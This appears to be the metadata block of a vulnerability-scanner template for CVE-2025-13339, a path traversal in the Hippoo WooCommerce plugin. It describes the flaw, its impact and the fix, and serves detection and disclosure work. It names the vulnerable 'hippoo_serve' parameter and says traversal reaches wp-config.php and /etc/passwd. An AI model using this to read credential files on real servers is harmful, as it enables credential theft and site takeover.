Hippoo Mobile App for WooCommerce <= 1.7.1 - Unauthenticated Arbitrary File Read

id: CVE-2025-13339

info:
  name: Hippoo Mobile App for WooCommerce <= 1.7.1 - Unauthenticated Arbitrary File Read
  author: pussycat0x
  severity: high
  description: |
    The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to and including 1.7.1 via the template_redirect() function. The plugin registers 'hippoo_serve' as a WordPress query variable and uses it to serve PWA files from the pwa/ directory. In vulnerable versions, the user-supplied value is concatenated directly into a filesystem path without any sanitization or directory confinement check, then passed to readfile(). This allows unauthenticated attackers to read arbitrary files on the server by injecting directory traversal sequences (../).
  impact: |
    An unauthenticated attacker can read any file readable by the web server process (www-data), including wp-config.php (database credentials, authentication keys and salts), /etc/passwd, server configuration files, and application source code. Exfiltration of wp-config.php alone enables database compromise and WordPress cookie forgery for full site takeover.
  remediation: Update the Hippoo Mobile App for WooCommerce plugin to version 1.7.2 or later. The patch adds realpath() canonicalization and a strpos() prefix check to confine file reads to the pwa/ directory.
